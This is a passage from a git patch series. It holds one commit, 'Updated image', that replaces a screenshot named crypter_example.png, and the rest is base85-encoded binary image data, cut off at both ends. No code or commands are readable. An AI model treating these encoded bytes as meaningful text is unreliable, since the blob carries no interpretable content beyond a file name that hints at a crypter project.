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 U(g9n%FQ7x@ZYkZ&mNNAFFAKzWG5`Po From c326fb5287efd3bc9fccde8634b83bd900ade371 Mon Sep 17 00:00:00 2001 From: sithis Date: Sun, 26 Apr 2020 14:25:10 +0100 Subject: [PATCH 26/41] Updated image --- repo_images/crypter_example.png | Bin 197862 -> 185694 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/repo_images/crypter_example.png b/repo_images/crypter_example.png index e3310d1c9b05a63fef048d2288313b73923a0c11..448f951d204067cd3eb154cda7ddbb7d1eff1c2f 100644 GIT binary patch literal 185694 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 